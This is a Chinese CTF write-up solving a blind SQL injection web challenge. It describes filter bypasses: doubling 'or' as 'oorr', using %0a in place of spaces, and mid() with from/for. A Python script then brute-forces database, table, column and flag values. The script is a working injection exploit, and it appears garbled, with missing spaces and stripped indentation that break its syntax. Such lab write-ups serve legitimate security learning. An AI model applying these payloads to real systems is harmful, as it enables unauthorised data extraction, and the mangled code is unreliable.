题目地址:http://ctf5.shiyanbar.com/web/earnest/index.php
先简单地试试,发现输入1会回显You are in,输入其他会回显You are not in,而输入1'也会回显You are not in,这说明单引号没有被吃掉,还可以使用。
继续测试发现过滤了and、空格和|,or没有被过滤。
构造id=1'or%0a'1或者id=1'or/**/'1,看到的回显却是You are not in,如果传值没有被改变的话,理论上返回的应该是You are in,而如果把代替空格的%0a和/**/去掉,就会回显You are not in。这就说明,or被改变了。这种改变是可能绕过的,一般的后台处理逻辑是匹配or、or(不分大小写)、or+空格并替换为空。尝试改变大小写和用oorr代替,发现回显都为You are in,也就是说,后台处理应该是匹配or(小写),并将其替换为空,并且仅仅处理了一次。
接下来就开始写盲注脚本啰,用oorr代替所有含有or的地方,用%0a或者括号代替空格。
还有一个需要注意的地方:逗号被吃掉了,也就是说盲注的时候就需要用 from to 代替mid函数中的逗号
贴上脚本:
# -*- coding:utf8 -*-
import requests
chars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
len =len(chars)
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
mys=requests.session()
true_state='You are in'
result =''
# for x in range(50):
# 爆破用户名长度 14
# payload = "0'oorr((length(user()))=%s)oorr'0"%(x)
# 爆破数据库长度 18
# payload = "0'oorr((length(database()))=%s)oorr'0"%(x)
# myd={'id':payload}
# res=mys.post(url,data=myd).content
# if true_state in res:
# print x
# print 'true'
#爆破用户名 web7@localhost
# for x in range(14):
# for y in chars:
# payload = "0'oorr((mid((user())from(%s)foorr(1)))='%s')oorr'0"%(x+1,y)
# myd = {'id': payload}
# res=mys.post(url,data=myd).content
# if true_state in res:
# result = result + y
# print 'true'+str(x)
# print result
#爆破数据库名 ctf_sql_bool_blind
# for x in range(18):
# for y in chars:
# payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(x+1,y)
# myd = {'id': payload}
# res=mys.post(url,data=myd).content
# if true_state in res:
# result = result + y
# print 'true'+str(x)
# print result
#爆破表名 fiag@users
#爆破列名 fl$4g@id@username@password
for xin range(50):
condition =0
for yin chars:
condition = condition +1
# payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0"%(x+1,y)
payload ="0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(x+1,y)
payload = payload.replace(' ',chr(0x0a))
myd = {'id': payload}
res=mys.post(url,data=myd).content
if true_statein res:
result = result + y
print 'true'+" "+str(x)+" "+result
break
if condition == len:
result = result +' '
运行截图:
getflag
这里有个小坑,如果就这样提交会是一个错误的答案,这是因为flag中的某个字符被后台的SQL处理语句给吃掉了。而这里比较敏感的字符就只有-了,我们输入id=1'--,发现回显为You are not in,说明-确实被吃掉了。所以这个-的位置应该是另一个字符。
经过多次测试,得知这里是个空格。
the end